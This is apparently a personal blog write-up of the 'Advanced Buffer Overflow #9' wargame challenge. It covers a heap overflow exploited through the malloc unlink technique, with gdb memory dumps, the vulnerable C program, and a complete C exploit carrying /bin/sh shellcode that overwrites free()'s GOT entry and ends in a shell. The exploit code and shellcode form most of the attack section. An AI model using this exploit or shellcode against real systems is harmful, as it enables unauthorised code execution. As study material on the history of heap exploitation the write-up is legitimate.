Sunday, April 3, 2011

Advanced Buffer Overflow #9

abo9 was a challenge for me and I couldn't get through it by myself. The following helped significantly:

* w00w00 on Heap Overflows
* Vudo malloc tricks
* CoreSecurity Team's Vulnerabilities in your code - Advanced Buffer Overflows

/* abo9.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* free(your mind)                                           */
/* I'm not sure in what operating systems it can be done     */

int main(int argv,char **argc) {
      char *pbuf1=(char*)malloc(256);
      char *pbuf2=(char*)malloc(256);

      gets(pbuf1);
      free(pbuf2);
      free(pbuf1);
}


Set some breakpoints.

12              free(pbuf2);
13              free(pbuf1);
14      }
(gdb) break 12
Breakpoint 1 at 0x80484fe: file abo9.c, line 12.
(gdb) break 13
Breakpoint 2 at 0x804850c: file abo9.c, line 13.
(gdb) run < of Starting program: /home/dennis/abo9/tmp/abo9 < of 

Breakpoint 1, main (argv=1, argc=0xbffffb7c) at abo9.c:12
12              free(pbuf2);
Here are the malloc data structures before any free()s.

pbuf1:

prev_size: 0x00000000
size     : 0x00000109
data     : 0x41s and shellcode

(gdb) x/10x pbuf1 - 8
0x8049690:      0x00000000      0x00000109      0x41414141      0x41414141
0x80496a0:      0x70700ceb      0x73737373      0x66666666      0x1feb6666
0x80496b0:      0x0876895e      0x4688c031

pbuf2:

prev_size: 0xfffffffc (-4)
size     : 0xfffffffc (-4 with PREV_INUSE bit unset)
data     : pieces of the fake free chunk)

fake free chunk:

prev_size: 0xfffffffc (-4)
size     : 0x0defaced (junk)
fd       : 0x080495c4 (free GOT entry - 12)
bk       : 0x080496a0 (pbuf1 data)

(gdb) x/10x pbuf2 - 8
0x8049798:      0xfffffffc      0xfffffffc      0x0defaced      0x080495c4
0x80497a8:      0x080496a0      0x00000000      0x00000000      0x00000000
0x80497b8:      0x00000000      0x00000000

Just to verify what fd and bk of the fake chunk are pointing to.

(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483b6
(gdb) x/x 0x080483b6
0x80483b6 <free+6>:     0x00003068

0x8049698:      0x41414141
(gdb) x/x 0x080496a0 - 8
0x8049698:      0x41414141

Execute free(pbuf2). This is where the unlink macro is used to overwrite things.

free() checks pbuf2's size field (which I control) and sees that the PREV_INUSE bit is not set. This means a neighboring chunk should be unlinked and merged with pbuf2. The neighboring chunk is calculated using pbuf2's prev_size field (which I control). In this case it is set to -4.

(gdb) x/x pbuf2
0x80497a0:      0xfffffff9
(gdb) x/x pbuf2 - 4
0x804979c:      0xfffffffc

At 0x804979c is where the fake chunk starts at.

The unlink macro looks something like this.

#define unlink(P, BK, FD) {
      BK = P->bk;
      FD = P->fd;
      FD->bk = BK;
      BK->fd = FD;
}

I visualize it like this.

P = fake_chunk
BK = fake_chunk->bk = (pbuf1)
FD = fake_chunk->fd = (got)
got + 12 = (pbuf1)
pbuf + 8 = (got)

Just to verify

(gdb) x/10x pbuf1 - 8
0x8049690: 0x00000000 0x00000109 0x41414141 0x41414141
0x80496a0: 0x70700ceb 0x73737373 0x080495c4 0x1feb6666
0x80496b0: 0x0876895e 0x4688c031

(gdb) x/x 0x080495c4 + 12
0x80495d0 <_GLOBAL_OFFSET_TABLE_+36>: 0x080496a0
(gdb) x/x 0x080496a0
0x80496a0: 0x70700ceb

That's the theory. In practice I couldn't implement it. I had to replace the gets() call with a strcpy(). The first jmp in the shellcode does contain a \x0a (\n) which would terminate the gets before everything is copied, but even making the jump longer, I couldn't get the shellcode to execute. After a long debug, I ran out of ideas.

dennis@ipa:~/abo9$ cat abo9strcpy.c                                          
/* abo9.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* free(your mind)                                           */
/* I'm not sure in what operating systems it can be done     */

int main(int argv,char **argc) {
      char *pbuf1=(char*)malloc(256);
      char *pbuf2=(char*)malloc(256);

      //gets(pbuf1);
      strcpy(pbuf1, argc[1]);
      free(pbuf2);
      free(pbuf1);
}


Here's the exploit, heavily based on the example from vudo.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* objdump -R abo9strcpy | grep free */
#define FUNCTION_POINTER ( 0x080495ec )
/* ltrace ./abo9strcpy | grep 256 */
#define CODE_ADDRESS ( 0x080496b8 + 2*4 )

#define VULNERABLE "./abo9strcpy"
#define NEGATIVE 0xfffffffc
#define JUNK 0xdefaced

char shellcode[] =
      /* the jump instruction */
      "\xeb\x0appssssffff"
      /* the Aleph One shellcode */
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void)
{
      char *p;
      char argv1[272 + 1];
      char *argv[] = { VULNERABLE, argv1, NULL };

      p = argv1;

      /* fill pbuf1 with padding */
      memset(p, 'A', 8);
      p += 8;

      /* copy in shellcode */
      memcpy(p, shellcode, strlen(shellcode));
      p += strlen(shellcode);

      /* fill pbuf1 with more padding */
      memset(p, 'A', 256 - 8 - strlen(shellcode));
      p += 256 - 8 - strlen(shellcode);

      /* the prev_size field of the second chunk */
      *((size_t *)p) = (size_t)(NEGATIVE);
      p += 4;

      /* the size field of the second chunk */
      /* the prev_size field of fake chunk */
      *((size_t *)p) = (size_t)(NEGATIVE);
      p += 4;

      /* the size field of the fake chunk */
      *((size_t *)p) = (size_t)(JUNK);
      p += 4;

      /* the fd field of the fake chunk */
      *((void **)p) = (void *)(FUNCTION_POINTER - 12);
      p += 4;

      /* the bk field of the fake chunk */
      *((void **)p) = (void *)(CODE_ADDRESS);
      p += 4;

      *p = '\0';

      execve(argv[0], argv, NULL);

      return -1;
}


And in action.

[dennis@localhost abo9]$ ./unlink-exp
sh-2.04$